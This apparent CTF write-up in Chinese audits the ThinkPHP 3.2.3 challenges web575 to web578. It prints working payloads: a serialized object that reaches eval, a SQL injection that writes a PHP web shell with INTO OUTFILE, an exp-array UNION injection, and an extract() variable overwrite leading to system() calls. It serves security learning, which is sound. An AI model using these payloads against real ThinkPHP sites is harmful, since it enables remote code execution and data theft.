【Web】Ctfshow Thinkphp3.2.3代码审计(4)

目录

web575

web576 

web577

web578 


web575

源码:

经过之前的分析,show() 这个方法可以执行php代码,所以控制$user->username就可以任意命令执行。

这里是从cookie里读user键对应的值进行反序列化,并将实例化对象与传入的id比较,如果id属性与传入的id相等,则show方法调用底层的eval执行实例化对象的username属性。

我们只要随便找个tp3的类,写入两个属性即可

<?php
namespace Think;
class Image{
    public $id='1';
    public $username="<?php system('tac /f*');?>";
}

echo base64_encode(serialize(new Image));

这里我找的是Image类

 

这里要注意的是,

PHP 反序列化的前提是必须要有序列化对应的类定义。当你使用 serialize() 函数将一个对象序列化为字符串时,包含了该对象的类名和属性信息。

在进行反序列化时,PHP 将尝试根据序列化字符串中的类名来加载相应的类定义。如果无法找到对应的类定义或类文件不存在,反序列化操作将会失败。

因此,确保在进行反序列化之前,你需要确保序列化的类定义存在,并且能够被自动加载或手动引入。否则,反序列化操作会抛出错误。

代码运行结果  

payload:

web576 

源码:

 跟一下comment()

就是给options['comment']赋值为$id

继续跟find()到底层select()再到parseSql()

 跟parseComment()

发现就是一个拼接,用*/闭合即可

尝试payload:

?id=1*/ or 1=1%23

报错得知是limit后的注入点

贴出p牛神文 

 这里我们用后者即可

INTO OUTFILE 指示将数据写入到文件中,后面跟着需要写入的文件路径。LINES STARTING BY 则指定了写入的内容以 <?php eval($_POST[1]);?> 开头

payload:

?id=1*/into outfile "/var/www/html/Z3r4y.php" LINES STARTING BY '<?php eval($_POST[1]);?>'%23

访问写马文件,直接RCE

 post:1=system('tac /f*');

web577

源码:

这次where()里直接传了一个数组,省得走if将字符串的值再改为_string的数组了。

直接看select()

常规跟进parsewhere()

因为传入的数组键中不含_,所以进入到下列判断

跟进parseWhereItem()

发现只要传入的数组的值也是个数组就可以进行exp注入

而传入的$id是我们可控的 

最终payload:

?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags

拼接结果:select * from users where `id`  =-1 union select 1,group_concat(flag4s),3,4 from flags

web578 

跟进assign()

 

这里就是把$from 赋值给tVar[$name] 

跟一下display()

看见了熟悉的fetch()

跟进fetch()

 利用extract()让tVar=array('$name'=>'$from')实现变量覆盖

 

这里令$name=_content,$from=写的马即可让$_content非空,从而eval()执行php代码

 最终payload:

?name=_content&from=<?php system("cat /f*")?>

猜你喜欢

转载自blog.csdn.net/uuzeray/article/details/135257643